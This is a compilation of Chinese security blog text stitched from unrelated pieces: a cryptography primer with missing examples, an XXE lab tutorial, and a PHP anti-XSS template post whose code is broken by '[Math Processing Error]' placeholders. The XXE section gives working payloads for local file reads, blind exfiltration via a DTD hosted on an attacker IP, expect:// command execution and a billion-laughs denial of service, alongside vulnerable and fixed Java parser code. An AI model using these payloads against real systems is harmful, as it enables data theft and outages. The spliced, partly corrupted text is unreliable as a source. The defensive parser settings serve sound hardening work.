言
开发网站登录功能时,如何保证密码在传输过程/储存的安全?
相信不少前后端的朋友,在面试时都会被问到类似的问题。
在我对密码学一无所知时,也仅会回答:“MD5加密啊。”
诸不知,密码学在网络七层模型,甚至web开发中的应用比我想象得多得多。
1. 什么是密码学?
密码学是各种安全应用程序所必需的,现代密码学旨在创建通过应用数学原理和计算机科学来保护信息的机制。但相比之下,密码分析旨在解密此类机制,以便获得对信息的非法访问。
密码学具有三个关键属性:
例如个人医疗数据:
在本文中,我们将从加密,哈希,编码和混淆四种密码学基础技术来入门。
本文图片经过再制,方便看懂。
大纲和主体内容引自:How Secure Are Encryption, Hashing, Encoding and Obfuscation?[1]
2. 什么是加密?
加密定义:以保证机密性的方式转换数据的过程。
为此,加密需要使用一个保密工具,就密码学而言,我们称其为“密钥”。
加密密钥和任何其他加密密钥应具有一些属性:
2.1 加密的分类:对称和非对称
加密分为两类:对称和非对称
对称加密:
用途:文件系统加密,Wi-Fi 保护访问(WPA),数据库加密(例如信用卡详细信息)
非对称加密:
用途:TLS,VPN,SSH。
其主要区别是:所需的密钥数量:
能被密码界承认的加密算法都是公开的:
3. 什么是哈希?
哈希算法定义:·一种只能加密,不能解密的密码学算法,可以将任意长度的信息转换成一段固定长度的字符串。
加密算法是可逆的(使用密钥),并且可以提供机密性(某些较新的加密算法也可以提供真实性),而哈希算法是不可逆的,并且可以提供完整性,以证明未修改特定数据。
哈希算法的前提很简单:给定任意长度的输入,输出特定长度的字节。在大多数情况下,此字节序列对于该输入将是唯一的,并且不会给出输入是什么的指示。换一种说法:
为了说明这一点,请想象一个强大的哈希算法通过将每个唯一输入放在其自己的存储桶中而起作用。当我们要检查两个输入是否相同时,我们可以简单地检查它们是否在同一存储桶中。
散列文件的存储单位称为桶(Bucket)
3.1 例子一:资源下载
提供文件下载的网站通常会返回每个文件的哈希值,以便用户可以验证其下载副本的完整性。
例如,在Debian的图像下载服务中,您会找到其他文件,例如SHA256SUMS,其中包含可供下载的每个文件的哈希输出(在本例中为SHA-256算法)。
在终端中,可以用openssl来对文件进行哈希处理:
同一个文件采用相同的hash算法时,就可以用来校验是否同源。
在强大的哈希算法中,如果有两个不同的输入,则几乎不可能获得相同的输出。
而相反的,如果计算后的结果范围有限,就会存在不同的数据经过计算后得到的值相同,这就是哈希冲突。(两个不同的数据计算后的结果一样)
这种称为:哈希碰撞(哈希冲突)。
如果两个不同的输入最终出现在同一个存储桶中,则会发生冲突。如MD5和SHA-1,就会出现这种情况。这是有问题的,因为我们无法区分哪个碰撞的值匹配输入。
强大的哈希算法几乎会为每个唯一输入创建一个新存储桶。
3.2 例子二:网站登陆
在web开发中,哈希算法使用最频繁的是在网站登陆应用上:
绝大多数的网站,在将登陆数据存入时,都会将密码哈希后存储。
注册:
登陆:
哈希算法的一个有趣的方面是:无论输入数据的长度如何,散列的输出始终是相同的长度。
从理论上讲,碰撞冲突将始终在可能性的范围之内,尽管可能性很小。
与之相反的是编码。
4. 什么是编码?
编码定义:将数据从一种形式转换为另一种形式的过程,与加密无关。
它不保证机密性,完整性和真实性这三种加密属性,因为:
4.1 URL编码
又叫百分号编码,是统一资源定位(URL)编码方式。URL地址(常说网址)规定了:
现在已经成为一种规范了,基本所有程序语言都有这种编码,如:
编码方法很简单,在该字节ascii码的 16 进制字符前面加%. 如 空格字符,ascii码是 32,对应 16 进制是'20',那么urlencode编码结果是:%20。
4.2 HTML实体编码
在HTML中,需要对数据进行HTML编码以遵守所需的HTML字符格式。转义避免 XSS 攻击也是如此。
4.3 Base64/32/16编码
base64、base32、base16可以分别编码转化 8 位字节为 6 位、5 位、4 位。
16,32,64 分别表示用多少个字符来编码,
Base64常用于在通常处理文本数据的场合,表示、传输、存储一些二进制数据。包括MIME的email,email via MIME,在XML中存储复杂数据。
编码原理:
Base64映射表,如下:
举个栗子:
引自:一篇文章彻底弄懂 Base64 编码原理[2]
上面的示例旨在指出,编码的用例仅是数据处理,而不为编码的数据提供保护。
4. 什么是混淆?
混淆定义:将人类可读的字符串转换为难以理解的字符串。
尽管不能保证机密性,但混淆仍有其它应用:
但是,如此存在许多有助于消除应用程序代码混淆的工具。那就是其它话题了。。。
4.1 例子一:JavaScript混淆
JavaScript源代码:
混淆后:
总结
从机密性,完整性,真实性分析四种密码技术:
加密哈希编码混淆机密性????完整性????真实性????
附录:哈希函数
常用的哈希函数:
后记 & 引用
How Secure Are Encryption, Hashing, Encoding and Obfuscation?[3]CTF 中那些脑洞大开的编码和加密[4]散列文件的存储——‘桶’[5]
那么,如何保证密码在传输过程/储存的安全呢?
我们下回分解!
?? 看完三件事
如果你觉得这篇内容对你挺有启发,我想邀请你帮我三个小忙:
也可以来我的GitHub博客里拿所有文章的源文件:
前端劝退指南:https://github.com/roger-hiro/BlogFN
参考资料
[1]
How Secure Are Encryption, Hashing, Encoding and Obfuscation?: https://auth0.com/blog/how-secure-are-encryption-hashing-encoding-and-obfuscation/#What-is-Encoding-
[2]
引自:一篇文章彻底弄懂Base64编码原理: https://blog.csdn.net/wo541075754/article/details/81734770
[3]
How Secure Are Encryption, Hashing, Encoding and Obfuscation?: https://auth0.com/blog/how-secure-are-encryption-hashing-encoding-and-obfuscation/#What-is-Encoding-
[4]
CTF中那些脑洞大开的编码和加密: https://www.cnblogs.com/godoforange/articles/10850493.html
[5]
散列文件的存储——‘桶’: https://blog.csdn.net/Dearye_1/article/details/78492021
想要了解XXE,在那之前需要了解XML的相关基础
2.1 XML语法
实体引用,在标签属性,以及对应的位置值可能会出现<>符号,但是这些符号在对应的XML中都是有特殊含义的,这时候我们必须使用对应html的实体对应的表示,比如<对应的实体就是<,>符号对应的实体就是>
在XML中,空格会被保留,如:<p>a空格B</p>,这时候a和B之间的空格就会被保留
2.2 XML结构
需要安全学习资料可以私信我:书籍、视频教程、工具及学习思路【点击查看】
2.2.1 XML文档声明
<?xml version="1.0" encoding="utf-8"?>
2.2.2 元素
元素是 XML 以及 HTML 文档的主要构建模块,元素可包含文本、其他元素或者是空的。
<body>body text in between</body>
<message>some message in between</message>
空元素有例如:hr、br、img
2.2.3 属性
属性可提供有关元素的额外信息
<img src="computer.gif"/>
其中,src为属性
2.2.4 实体
实体分为四种类型,分别为:
2.3 文档类型定义--DTD
DTD是用来规范XML文档格式,既可以用来说明哪些元素/属性是合法的以及元素间应当怎样嵌套/结合,也用来将一些特殊字符和可复用代码段自定义为实体
DTD可以嵌入XML文档当中(内部声明),也可以以单独的文件存放(外部引用)
2.3.1 DTD内部声明
假如 DTD 被包含在您的 XML 源文件中,它应当通过下面的语法包装在一个 DOCTYPE 声明中:
<!DOCTYPE 根元素 [元素声明]>
内部声明DTD示例
<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
以上 DTD 解释如下:
2.3.2 DTD外部引用
假如 DTD 位于 XML 源文件的外部,那么它应通过下面的语法被封装在一个 DOCTYPE 定义中:
<!DOCTYPE 根元素 SYSTEM "文件名">
这个 XML 文档和上面的 XML 文档相同,但是拥有一个外部的 DTD:
<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
note.dtd:
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
2.3.3 PCDATA
PCDATA 的意思是被解析的字符数据(parsed character data)。
PCDATA 是会被解析器解析的文本。这些文本将被解析器检查实体以及标记,文本中的标签会被当作标记来处理,而实体会被展开,值得注意的是,PCDATA不应包含&、<和>字符,需要用& < >实体替换,又或者是使用CDATA
2.3.4 CDATA
CDATA 的意思是字符数据(character data)。
CDATA 是不会被解析器解析的文本。
在XML中&、<字符是属于违法的,这是因为解析器会将<解释为新元素的开始,将&解释为字符实体的开始,所以当我们有需要使用包含大量&、<字符的代码,则可以使用CDATA
CDATA由结束,在CDATA当中,不能包含]]>字符串,也不能嵌套CDATA,结尾的]]>字符串不能包含任何的空格和换行
2.3.5 DTD实体
DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。
实体又分为一般实体和参数实体
1,一般实体的声明语法:
引用实体的方式:&实体名;
2,参数实体只能在DTD中使用,参数实体的声明格式:
引用实体的方式:%实体名;
2.3.5.1 内部实体
<!ENTITY writer "Bill Gates">
<!ENTITY copyright "Copyright W3School.com.cn">
<author>&writer;?right;</author>
2.3.5.2 外部实体
外部实体,用来引入外部资源。有SYSTEM和PUBLIC两个关键字,表示实体来自本地计算机还是公共计算机
<!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
<!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
<author>&writer;?right;</author>
不同程序支持的协议不同
LIBXML2 | PHP | JAVA | .NET |
file | file | http | file |
http | http | https | http |
ftp | ftp | ftp | https |
php | file | ftp | |
compress.zlib | jar | ||
compress.bzip2 | netdoc | ||
data | mailto | ||
glob | gopher * | ||
phar |
其中php支持的协议会更多一些,但需要一定的扩展支持。
??
XXE即XML外部实体注入,由上面可知,外部实体指的就是DTD外部实体,而造成XXE的原因是在解析XML的时候,对恶意的外部实体进行解析导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害
如何判断
3.1 如何判断是否存在XXE
以bwapp靶场为例
首先查看http头,观察是否有XML相关字符串
再判断是否解析了XML内容
发现修改内容后服务器会解析相应的内容
3.2 XXE可导致的危害
3.2.1 读取文件
最主要使用的是使用XXE来读取文件,这里我使用bwapp靶场作为环境
我搭建环境的时候使用php版本为5.2.17的环境,我是使用phpstudy搭建的环境,如果php版本大于5.2.17或者使用docker环境(php版本为5.5.9)会导致没有回显,当然可能只是我的环境问题,但是如果以low难度进行注入时使用正确的payload都是显示An error occured!的话,可以尝试使用我的方法
3.2.1.1 有回响
首先先进入XXE漏洞的测试界面
http://192.168.0.105/bwapp/xxe-1.php
进行抓包,发现存在text/xml
通过修改数据,观察服务器是否会解析XML的内容
确定服务器会解析XML内容,就可以自己构造注入了
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE test[
<!ENTITY bee SYSTEM "file:///d:/robots.txt">
]>
<reset><login>&bee;</login><secret>Any bugs?</secret></reset>
XML的外部实体“bee”被赋予的值为:file:///d:/robots.txt,当解析xml文档时,bee会被替换为file:///d:/robots.txt的内容。就被执行回显回来了。
3.2.1.2 无回显(Blind XXE)
但是在实际环境中XML大多数时候并非是为了输出用,所以很多时候是不会有输出的,这样即使XML被解析了但是是无法直接读取文件的,所以我们需要外带数据,把数据发送出来读取
靶场环境:Vulhub - Docker-Compose file for vulnerability environment
??
搭建好环境后先进入此页面http://192.168.3.25:8983/solr/#/demo/query,然后点击提交,进行抓包,并把包发送到重放器
在本地主机(使用桥接)或者是云服务器,反正能让目标服务器连接到的ip的主机即可,在此服务器上创建dtd文件
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd "<!ENTITY data SYSTEM ':%file;'>">
创建完后修改包内的payload
/solr/demo/select?\_=1641268411205&q=<%3fxml+version%3d"1.0"+%3f><!DOCTYPE+hack[<!ENTITY+%25+send+SYSTEM+"http%3a//192.168.3.35/xxe.dtd">%25send%3b%25dtd%3b]><r>%26data%3b</r>&wt=xml&defType=xmlparser
该payload解码后为
<?xml version="1.0" ?><!DOCTYPE hack[<!ENTITY % send SYSTEM "http://192.168.3.35/xxe.dtd">%send;%dtd;]><r>&data;</r>&wt=xml&defType=xmlparser
注意,http://192.168.3.35/xxe.dtd这句需要改为自己的地址,同时发包的时候不要把&wt=xml&defType=xmlparser进行url编码,直接复制上去就好了
以上情况是当php报错时将里面的数据,如果php没有报错则使用下面的方法
首先先监听端口,然后在上面的基础上修改一下dtd文件
<!ENTITY % file SYSTEM "file:///h:/test.txt">
<!ENTITY % dtd "<!ENTITY data SYSTEM '192.168.3.35:666/?%file;'>">
在连接后面附上监听的端口,发送后会在监听处收到信息,如果没有可以尝试查看服务器日志
这里用一下别人的图
参考链接:XXE漏洞详解——进阶篇 - FreeBuf网络安全行业门户
但是我这里复现没有成功,也有可能是直接通过报错读出文件的原因,但是还是记录一下这种情况
3.2.1.3 读取PHP等文件
由于一些文件,如php文件内含有<等字符,在读取的时候想、解析器会将这些解析为xml语言导致语法错误,所以为了避免这种情况出现使用伪协议来读取
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE test[
<!ENTITY bee SYSTEM "php://filter/read=convert.base64-encode/resource=file:///d:/robots.txt">
]>
<reset><login>&bee;</login><secret>Any bugs?</secret></reset>
3.2.1.4 端口探测
同样使用bwapp靶场作为环境
前面的流程基本一致,抓包后构造注入
在http连接后跟端口,如果端口开启,则会显示 failed to open stream: HTTP request failed!,否则不显示(或者显示failed to open stream: Connection refuse!或500状态码)
我这里使用phpstudy作为环境,所以开启了3306端口
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE hack[
<!ENTITY bee SYSTEM "http://192.168.3.25:3306">
]>
测试666端口,机器没有开启,所以在发送包后获取响应包需要很长一段时间,最后报500错误码
测试1234端口,本机同样为开启,也是等待了一小会才获取到的响应包
3.2.1.5 远程命令执行RCE
要想要RCE需要使用expect协议,其他协议也有可能可以执行命令
??
expect需要安装expect拓展
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE hack[
<!ENTITY bee SYSTEM "expect://whoami">
]>
3.2.1.6 DDOS 攻击
参考文章:XXE从入门到放弃 - 安全客服,安全资讯平台 (anquanke.com)
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "abc">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
该攻击通过创建一项递归的 XML 定义,在内存中生成十亿个”abc”字符串,从而导致 DDoS 攻击。原理为:构造恶意的XML实体文件耗尽可用内存,因为许多XML解析器在解析XML文档时倾向于将它的整个结构保留在内存中,解析非常慢,造成了拒绝服务器攻击。
3.2.1.7 防御XXE
方案一、使用开发语言提供的禁用外部实体的方法
PHP:
libxml_disable_entity_loader(true);
JAVA:看下面的代码审计
Python:
第三方模块lxml按照修改设置来改就可以
from lxml import etree
xmlData=etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
def xxe():
tree=etree.parse('xml.xml', etree.XMLParser(resolve_entities=False))
# tree=lxml.objectify.parse('xml.xml', etree.XMLParser(resolve_entities=False))
return etree.tostring(tree.getroot())
尝试改用defusedxml 是一个纯 Python 软件包,它修改了所有标准库 XML 解析器的子类,可以防止任何潜在的恶意操作。 对于解析不受信任的XML数据的任何服务器代码,建议使用此程序包。
方案二、过滤用户提交的XML数据
关键词:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC。
不允许XML中含有任何自己声明的DTD
有效的措施:配置XML parser只能使用静态DTD,禁止外来引入;对于Java来说,直接设置相应的属性值为false即可
参考文章:(38条消息) XXE详解_bylfsj的博客-CSDN博客_xxe
XXE为XML External Entity Injection的英文缩写,当开发人员允许xml解析外部实体时,攻击者可构造恶意外部实体来达到任意文件读取、内网端口探测、命令执行、拒绝服务攻击等方面的攻击。
产生XXE有三个条件,首先是解析了XML,其次是XML外部可控。最后是没有禁用外部实体
5.1 XMLReader
XMLReader接口是一种通过回调读取XML文档的接口,其存在于公共区域中。XMLReader接口是XML解析器实现SAX2驱动程序所必需的接口,其允许应用程序设置和查询解析器中的功能和属性、注册文档处理的事件处理程序,以及开始文档解析。当XMLReader使用默认的解析方法并且未对XML进行过滤时,会出现XXE漏洞
5.2 SAXBuilder
SAXBuilder是一个JDOM解析器,其能够将路径中的XML文件解析为Document对象。SAXBuilder使用第三方SAX解析器来处理解析任务,并使用SAXHandler的实例侦听SAX事件。当SAXBuilder使用默认的解析方法并且未对XML进行过滤时,会出现XXE漏洞
5.3 SAXReader
DOM4J是dom4j.org出品的一个开源XML解析包,使用起来非常简单,只要了解基本的XML-DOM模型,就能使用。DOM4J读/写XML文档主要依赖于org.dom4j.io包,它有DOMReader和SAXReader两种方式。因为使用了同一个接口,所以这两种方式的调用方法是完全一致的。同样的,在使用默认解析方法并且未对XML进行过滤时,其也会出现XXE漏洞。
5.4 SAXParserFactory
SAXParserFactory使应用程序能够配置和获取基于SAX的解析器以解析XML文档。其受保护的构造方法,可以强制使用newInstance()。跟上面介绍的一样,在使用默认解析方法且未对XML进行过滤时,其也会出现XXE漏洞。
5.5 Digester
Digester类用来将XML映射成Java类,以简化XML的处理。它是Apache Commons库中的一个jar包:common-digester包。一样的在默认配置下会出现XXE漏洞。其触发的XXE漏洞是没有回显的,我们一般需通过Blind XXE的方法来利用
5.6 DocumentBuilderFactory
javax.xml.parsers包中的DocumentBuilderFactory用于创建DOM模式的解析器对象,DocumentBuilderFactory是一个抽象工厂类,它不能直接实例化,但该类提供了一个newInstance()方法,这个方法会根据本地平台默认安装的解析器,自动创建一个工厂的对象并返回。
?六、接口代码审计&修复
通过了解XXE的原理了解到防御XXE只需要做到以下几点
1、不解析XML,但是有的时候业务需要
2、禁用dtd,同样很多时候无法实现
3、禁用外部实体和参数实体
对大部分时候,都可以通过设置feature来控制解析器的行为
// 这是优先选择. 如果不允许DTDs (doctypes) ,几乎可以阻止所有的XML实体攻击
setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
// 如果不能完全禁用DTDs,最少采取以下措施,必须两项同时存在
setFeature("http://xml.org/sax/features/external-general-entities", false);// 防止外部实体POC
setFeature("http://xml.org/sax/features/external-parameter-entities", false);// 防止参数实体POC
如果是启用了XIclude则要在feature规则前添加
dbf.setXIncludeAware(true); // 支持XInclude
dbf.setNamespaceAware(true); // 支持XInclude
以下代码均出于:java-sec-code/XXE.java at master · JoyChou93/java-sec-code (github.com)
6.1 XMLReader
try {
String body=WebUtils.getRequestBody(request);
logger.info(body);
XMLReader xmlReader=XMLReaderFactory.createXMLReader();
xmlReader.parse(new InputSource(new StringReader(body))); // parse xml
return "xmlReader xxe vuln code";
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
6.2 修复代码
try {
String body=WebUtils.getRequestBody(request);
logger.info(body);
XMLReader xmlReader=XMLReaderFactory.createXMLReader();
// fix code start
xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
xmlReader.setFeature("http://xml.org/sax/features/external-general-entities", false);
xmlReader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
//fix code end
xmlReader.parse(new InputSource(new StringReader(body))); // parse xml
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
6.3 SAXBuilder
try {
String body=WebUtils.getRequestBody(request);
logger.info(body);
SAXBuilder builder=new SAXBuilder();
// org.jdom2.Document document
builder.build(new InputSource(new StringReader(body))); // cause xxe
return "SAXBuilder xxe vuln code";
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
6.4 修复代码:
try {
String body=WebUtils.getRequestBody(request);
logger.info(body);
SAXBuilder builder=new SAXBuilder();
// fix code start
builder.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
builder.setFeature("http://xml.org/sax/features/external-general-entities", false);
builder.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
// fix code end
// org.jdom2.Document document
builder.build(new InputSource(new StringReader(body)));
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
6.5 SAXReader
try {
String body=WebUtils.getRequestBody(request);
logger.info(body);
SAXReader reader=new SAXReader();
// org.dom4j.Document document
reader.read(new InputSource(new StringReader(body))); // cause xxe
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
修复代码:
try {
String body=WebUtils.getRequestBody(request);
logger.info(body);
SAXReader reader=new SAXReader();
// fix code start
reader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
reader.setFeature("http://xml.org/sax/features/external-general-entities", false);
reader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
// fix code end
// org.dom4j.Document document
reader.read(new InputSource(new StringReader(body)));
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
6.6 SAXParserFactory
try {
String body=WebUtils.getRequestBody(request);
logger.info(body);
SAXParserFactory spf=SAXParserFactory.newInstance();
SAXParser parser=spf.newSAXParser();
parser.parse(new InputSource(new StringReader(body)), new DefaultHandler()); // parse xml
return "SAXParser xxe vuln code";
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
6.7 修复代码:
try {
String body=WebUtils.getRequestBody(request);
logger.info(body);
SAXParserFactory spf=SAXParserFactory.newInstance();
// fix code start
spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
// fix code start
SAXParser parser=spf.newSAXParser();
parser.parse(new InputSource(new StringReader(body)), new DefaultHandler()); // parse xml
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
6.8 Digester
try {
String body=WebUtils.getRequestBody(request);
logger.info(body);
Digester digester=new Digester();
digester.parse(new StringReader(body)); // parse xml
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
修复代码:
try {
String body=WebUtils.getRequestBody(request);
logger.info(body);
Digester digester=new Digester();
// fix code start
digester.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
digester.setFeature("http://xml.org/sax/features/external-general-entities", false);
digester.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
// fix code end
digester.parse(new StringReader(body)); // parse xml
return "Digester xxe security code";
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
6.9 DocumentBuilderFactory
6.9.1 代码1:
try {
String body=WebUtils.getRequestBody(request);
logger.info(body);
DocumentBuilderFactory dbf=DocumentBuilderFactory.newInstance();
DocumentBuilder db=dbf.newDocumentBuilder();
StringReader sr=new StringReader(body);
InputSource is=new InputSource(sr);
Document document=db.parse(is); // parse xml
// 遍历xml节点name和value
StringBuilder buf=new StringBuilder();
NodeList rootNodeList=document.getChildNodes();
for (int i=0; i < rootNodeList.getLength(); i++) {
Node rootNode=rootNodeList.item(i);
NodeList child=rootNode.getChildNodes();
for (int j=0; j < child.getLength(); j++) {
Node node=child.item(j);
buf.append(String.format("%s: %s\n", node.getNodeName(), node.getTextContent()));
}
}
sr.close();
return buf.toString();
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
6.9.2 代码2:
try {
String body=WebUtils.getRequestBody(request);
logger.info(body);
DocumentBuilderFactory dbf=DocumentBuilderFactory.newInstance();
DocumentBuilder db=dbf.newDocumentBuilder();
StringReader sr=new StringReader(body);
InputSource is=new InputSource(sr);
Document document=db.parse(is); // parse xml
// 遍历xml节点name和value
StringBuilder result=new StringBuilder();
NodeList rootNodeList=document.getChildNodes();
for (int i=0; i < rootNodeList.getLength(); i++) {
Node rootNode=rootNodeList.item(i);
NodeList child=rootNode.getChildNodes();
for (int j=0; j < child.getLength(); j++) {
Node node=child.item(j);
// 正常解析XML,需要判断是否是ELEMENT_NODE类型。否则会出现多余的的节点。
if (child.item(j).getNodeType()==Node.ELEMENT_NODE) {
result.append(String.format("%s: %s\n", node.getNodeName(), node.getFirstChild()));
}
}
}
sr.close();
return result.toString();
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
6.9.3 修复代码:
try {
String body=WebUtils.getRequestBody(request);
logger.info(body);
DocumentBuilderFactory dbf=DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
DocumentBuilder db=dbf.newDocumentBuilder();
StringReader sr=new StringReader(body);
InputSource is=new InputSource(sr);
db.parse(is); // parse xml
sr.close();
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
6.9.4 代码3,支持XInclude:
6.9.4.1何为XInclude
Xinclude即为XML Include,其实就是文件包含,其作用很大时候可以使得代码更加简洁,当需要使用其中的内容的时候再把文件包含进来,可以参考php的include
try {
String body=WebUtils.getRequestBody(request);
logger.info(body);
DocumentBuilderFactory dbf=DocumentBuilderFactory.newInstance();
dbf.setXIncludeAware(true); // 支持XInclude
dbf.setNamespaceAware(true); // 支持XInclude
DocumentBuilder db=dbf.newDocumentBuilder();
StringReader sr=new StringReader(body);
InputSource is=new InputSource(sr);
Document document=db.parse(is); // parse xml
NodeList rootNodeList=document.getChildNodes();
response(rootNodeList);
sr.close();
return "DocumentBuilder xinclude xxe vuln code";
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
修复代码;
try {
String body=WebUtils.getRequestBody(request);
logger.info(body);
DocumentBuilderFactory dbf=DocumentBuilderFactory.newInstance();
dbf.setXIncludeAware(true); // 支持XInclude
dbf.setNamespaceAware(true); // 支持XInclude
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
DocumentBuilder db=dbf.newDocumentBuilder();
StringReader sr=new StringReader(body);
InputSource is=new InputSource(sr);
Document document=db.parse(is); // parse xml
NodeList rootNodeList=document.getChildNodes();
response(rootNodeList);
sr.close();
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
6.10 XMLReader&SAXParserFactory
try {
String body=WebUtils.getRequestBody(request);
logger.info(body);
SAXParserFactory spf=SAXParserFactory.newInstance();
SAXParser saxParser=spf.newSAXParser();
XMLReader xmlReader=saxParser.getXMLReader();
xmlReader.parse(new InputSource(new StringReader(body)));
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
修复代码:
try {
String body=WebUtils.getRequestBody(request);
logger.info(body);
SAXParserFactory spf=SAXParserFactory.newInstance();
SAXParser saxParser=spf.newSAXParser();
XMLReader xmlReader=saxParser.getXMLReader();
xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
xmlReader.setFeature("http://xml.org/sax/features/external-general-entities", false);
xmlReader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
xmlReader.parse(new InputSource(new StringReader(body)));
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
6.11 DocumentHelper
try {
String body=WebUtils.getRequestBody(req);
DocumentHelper.parseText(body); // parse xml
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
修复该漏洞只需升级dom4j到2.1.1及以上,该版本及以上禁用了ENTITY;
不带ENTITY的PoC不能利用,所以禁用ENTITY即可完成修复。
文由腾讯WeTest团队提供,更多资讯可直接戳链接查看:http://wetest.qq.com/lab/
微信号:TencentWeTest
对于新接触web开发的同学来说,XSS注入是一件非常头疼的事情。就算是web开发多年的老手,也不敢保证自己写的代码完全没有XSS注入的风险。
因为现在比较主流的XSS防治手段主要有两种,一种是在用户输入是将异常关键词过滤,另一种则是在页面渲染时将html内容实体化转义。
然而第一种方法一定程度上对业务数据要求相对较高,存在屏蔽数据和业务数据有冲突的情况,例如“程序类帮助文档的编辑保存”,“外站帖子爬虫”等等。都不能无差别将异常关键词过滤掉,必须保持原输入内容的完整性。
而另一种html内容实体化的方式,又非常的依赖开发的编程习惯。一个不小心漏写了就是一个安全工单,做web的前端同事应该深有体会。于是,我开始研究能不能不再依赖开发习惯,从框架层面上完全屏蔽XSS。
这里先介绍一下我的PHP web Server框架,是我自己从从事web开发开始就一直在维护更新的框架,链接在此,有兴趣的同学,可以看下。或者提出更多改进的建议。
首先来看下普通的PHP是怎么转义html实体的:
htmlspecialchars($content, ENT_QUOTES | ENT_SUBSTITUTE) ENT_QUOTES 意思是需要转义双引号(”)和 单引号 (’)
ENT_SUBSTITUTE 意思是 把无效的编码替代成一个指定的带有 Unicode 替代字符
首先很容易想到的是把php模版中的字符串全部替换掉。
而熟悉smarty的同学应该知道,其实smarty的模版渲染也是用了转义字符串的方式。那我们渲染页面的代码可以这么写。
/**
* 获得模板渲染后的内容
* @return string
*/
public function getContent
{
//防XSS注入
foreach ([Math Processing Error]
[Math Processing Error][Math Processing Error]
}
unset($param);
extract($this->params);
ob_start;
//include template
$file=sprintf('%s/template/%s.tpl.php', TXApp::$app_root, $this->view);
include $file;
$content=ob_get_clean;
return $content;
}
这样的话,传入的字符串类型的变量都会被替换掉了。但是问题也很明显。那就是如果是数组或者object对象,里面的内容就无法进行转义了。而这同样也是smarty的一个弊端,smarty是在assign方法里进行的实体化转义,如果是数组或者object就无视了。当然我们还需要更进一步的进行转义处理。
